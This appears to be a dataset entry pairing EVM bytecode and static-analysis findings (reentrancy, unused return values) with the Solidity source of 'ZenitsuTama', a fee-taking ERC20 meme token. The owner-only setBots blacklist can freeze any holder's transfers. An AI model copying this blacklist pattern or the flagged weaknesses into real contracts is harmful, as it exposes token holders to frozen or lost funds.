ffffffffffffffffffff16141580156124a7575061247761111f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561298657600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156125505750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61255957600080fd5b60006125866103e8612578601354600754612b1b90919063ffffffff16565b612b9690919063ffffffff16565b9050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156126335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156126895750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561275057601260149054906101000a900460ff166126a757600080fd5b808211156126b457600080fd5b42600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106126ff57600080fd5b601e4261270c9190614692565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061275b30610f49565b9050601260169054906101000a900460ff161580156127c85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156127e05750601260179054906101000a900460ff165b15612983576128366064612828600261281a601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f49565b612b1b90919063ffffffff16565b612b9690919063ffffffff16565b83111561284257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156128aa57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156128b65750600081115b1561298257601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166128fc61213b565b73ffffffffffffffffffffffffffffffffffffffff1614806129725750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661295a61213b565b73ffffffffffffffffffffffffffffffffffffffff16145b156129815761298081612be0565b5b5b5b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612a2d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a3757600090505b612a4384848484612eda565b50505050565b6000838311158290612a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8891906143eb565b60405180910390fd5b5060008385612aa09190614773565b9050809150509392505050565b6000600854821115612af4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aeb9061442d565b60405180910390fd5b6000612afe612f11565b9050612b138184612b9690919063ffffffff16565b915050919050565b600080831415612b2e5760009050612b90565b60008284612b3c9190614719565b9050828482612b4b91906146e8565b14612b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b82906144ed565b60405180910390fd5b809150505b92915050565b6000612bd883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612f3c565b905092915050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612c3e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612c6c5781602001602082028036833780820191505090505b5090503081600081518110612caa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612d4c57600080fd5b505afa158015612d60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d849190613ea1565b81600181518110612dbe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612e2530601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612143565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612e899594939291906145c8565b600060405180830381600087803b158015612ea357600080fd5b505af1158015612eb7573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b80612ee857612ee7612f9f565b5b612ef3848484612fba565b80612f0157612f00612f07565b5b50505050565b6003600a81905550565b6000806000612f1e613182565b91509150612f358183612b9690919063ffffffff16565b9250505090565b60008083118290612f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f7a91906143eb565b60405180910390fd5b5060008385612f9291906146e8565b9050809150509392505050565b6000600a541415612faf57612fb8565b6000600a819055505b565b6000806000806000612fcb866131cf565b9450945094509450945061302785600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461322a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130bc84600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327490919063ffffffff16565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061310988826132d2565b6131138382613c80565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161317091906145ad565b60405180910390a35050505050505050565b60008060006008549050600060075490506131aa600754600854612b9690919063ffffffff16565b8210156131c2576008546007549350935050506131cb565b81819350935050505b9091565b60008060008060008060006131e688600a54613ce8565b9150915060006131f4612f11565b905060008060006132068c8686613d74565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600061326c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612a49565b905092915050565b60008082846132839190614692565b9050838110156132c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132bf9061448d565b60405180910390fd5b8091505092915050565b60006132dc612f11565b905060008214156132ed5750613c7c565b6000613303600384612b9690919063ffffffff16565b9050600061331a828561322a90919063ffffffff16565b905060006133318483612b1b90919063ffffffff16565b90506133a78260046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327490919063ffffffff16565b60046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134808160036000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327490919063ffffffff16565b60036000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161356491906145ad565b60405180910390a3600061359384613585868961322a90919063ffffffff16565b61322a90919063ffffffff16565b905060006135aa8683612b1b90919063ffffffff16565b90506136208260046000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327490919063ffffffff16565b60046000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136f98160036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327490919063ffffffff16565b60036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516137dd91906145ad565b60405180910390a360006137fa8789612b1b90919063ffffffff16565b90506138708860046000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327490919063ffffffff16565b60046000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506139498160036000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327490919063ffffffff16565b60036000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a604051613a2d91906145ad565b60405180910390a36000829050613aae8460046000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327490919063ffffffff16565b60046000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613b878160036000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327490919063ffffffff16565b60036000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051613c6b91906145ad565b60405180910390a350505050505050505b5050565b613c958260085461322a90919063ffffffff16565b60088190555060008114613ce457613cdd613ccc613cbd600384612b9690919063ffffffff16565b8361322a90919063ffffffff16565b60095461327490919063ffffffff16565b6009819055505b5050565b6000806000831415613cff57838391509150613d6d565b6000613d276064613d198688612b1b90919063ffffffff16565b612b9690919063ffffffff16565b90506000613d6282613d5484613d46868b61322a90919063ffffffff16565b61322a90919063ffffffff16565b61322a90919063ffffffff16565b905080829350935050505b9250929050565b600080600080613d8d8588612b1b90919063ffffffff16565b90506000861415613da75780818793509350935050613e06565b6000613dbc8688612b1b90919063ffffffff16565b90506000613df782613de984613ddb868861322a90919063ffffffff16565b61322a90919063ffffffff16565b61322a90919063ffffffff16565b90508281839550955095505050505b93509350939050565b600081359050613e1e81614c41565b92915050565b600081519050613e3381614c41565b92915050565b600081519050613e4881614c58565b92915050565b600081359050613e5d81614c6f565b92915050565b600081519050613e7281614c6f565b92915050565b600060208284031215613e8a57600080fd5b6000613e9884828501613e0f565b91505092915050565b600060208284031215613eb357600080fd5b6000613ec184828501613e24565b91505092915050565b60008060408385031215613edd57600080fd5b6000613eeb85828601613e0f565b9250506020613efc85828601613e0f565b9150509250929050565b600080600060608486031215613f1b57600080fd5b6000613f2986828701613e0f565b9350506020613f3a86828701613e0f565b9250506040613f4b86828701613e4e565b9150509250925092565b60008060408385031215613f6857600080fd5b6000613f7685828601613e0f565b9250506020613f8785828601613e4e565b9150509250929050565b600060208284031215613fa357600080fd5b6000613fb184828501613e39565b91505092915050565b600060208284031215613fcc57600080fd5b6000613fda84828501613e4e565b91505092915050565b600080600060608486031215613ff857600080fd5b600061400686828701613e63565b935050602061401786828701613e63565b925050604061402886828701613e63565b9150509250925092565b600061403e838361404a565b60208301905092915050565b614053816147a7565b82525050565b614062816147a7565b82525050565b60006140738261464d565b61407d8185614670565b93506140888361463d565b8060005b838110156140b95781516140a08882614032565b97506140ab83614663565b92505060018101905061408c565b5085935050505092915050565b6140cf816147b9565b82525050565b6140de816147fc565b82525050565b60006140ef82614658565b6140f98185614681565b935061410981856020860161480e565b6141128161489f565b840191505092915050565b600061412a602383614681565b9150614135826148b0565b604082019050919050565b600061414d602a83614681565b9150614158826148ff565b604082019050919050565b6000614170602683614681565b915061417b8261494e565b604082019050919050565b6000614193602283614681565b915061419e8261499d565b604082019050919050565b60006141b6601b83614681565b91506141c1826149ec565b602082019050919050565b60006141d9601d83614681565b91506141e482614a15565b602082019050919050565b60006141fc602283614681565b915061420782614a3e565b604082019050919050565b600061421f602183614681565b915061422a82614a8d565b604082019050919050565b6000614242602683614681565b915061424d82614adc565b604082019050919050565b6000614265602083614681565b915061427082614b2b565b602082019050919050565b6000614288602983614681565b915061429382614b54565b604082019050919050565b60006142ab602583614681565b91506142b682614ba3565b604082019050919050565b60006142ce602483614681565b91506142d982614bf2565b604082019050919050565b6142ed816147e5565b82525050565b6142fc816147ef565b82525050565b60006020820190506143176000830184614059565b92915050565b60006040820190506143326000830185614059565b61433f6020830184614059565b9392505050565b600060408201905061435b6000830185614059565b61436860208301846142e4565b9392505050565b600060c0820190506143846000830189614059565b61439160208301886142e4565b61439e60408301876140d5565b6143ab60608301866140d5565b6143b86080830185614059565b6143c560a08301846142e4565b979650505050505050565b60006020820190506143e560008301846140c6565b92915050565b6000602082019050818103600083015261440581846140e4565b905092915050565b600060208201905081810360008301526144268161411d565b9050919050565b6000602082019050818103600083015261444681614140565b9050919050565b6000602082019050818103600083015261446681614163565b9050919050565b6000602082019050818103600083015261448681614186565b9050919050565b600060208201905081810360008301526144a6816141a9565b9050919050565b600060208201905081810360008301526144c6816141cc565b9050919050565b600060208201905081810360008301526144e6816141ef565b9050919050565b6000602082019050818103600083015261450681614212565b9050919050565b6000602082019050818103600083015261452681614235565b9050919050565b6000602082019050818103600083015261454681614258565b9050919050565b600060208201905081810360008301526145668161427b565b9050919050565b600060208201905081810360008301526145868161429e565b9050919050565b600060208201905081810360008301526145a6816142c1565b9050919050565b60006020820190506145c260008301846142e4565b92915050565b600060a0820190506145dd60008301886142e4565b6145ea60208301876140d5565b81810360408301526145fc8186614068565b905061460b6060830185614059565b61461860808301846142e4565b9695505050505050565b600060208201905061463760008301846142f3565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061469d826147e5565b91506146a8836147e5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156146dd576146dc614841565b5b828201905092915050565b60006146f3826147e5565b91506146fe836147e5565b92508261470e5761470d614870565b5b828204905092915050565b6000614724826147e5565b915061472f836147e5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561476857614767614841565b5b828202905092915050565b600061477e826147e5565b9150614789836147e5565b92508282101561479c5761479b614841565b5b828203905092915050565b60006147b2826147c5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614807826147e5565b9050919050565b60005b8381101561482c578082015181840152602081019050614811565b8381111561483b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f4163636f756e74206973206e6f74206964656e7469666965642061732061206260008201527f6f74000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206964656e74696669656420617360008201527f206120626f740000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614c4a816147a7565b8114614c5557600080fd5b50565b614c61816147b9565b8114614c6c57600080fd5b50565b614c78816147e5565b8114614c8357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122003ac0f3f9a179f31fb5a75e35397285d20fd7c2b8af1c1eeed04dec0fb1cc6e664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,022 |
0x5a2549e88b9e4680aa1cfdd74cdc561ca37c8b6c
|
/**
*Submitted for verification at Etherscan.io on 2022-03-07
*/
// SPDX-License-Identifier: Unlicensed
// Join our Telegram!
// https://t.me/zenitsutama
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract ZenitsuTama is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Zenitsu Tama";
string private constant _symbol = "ZenitsuTama";
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[to]);
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (3 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 12, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
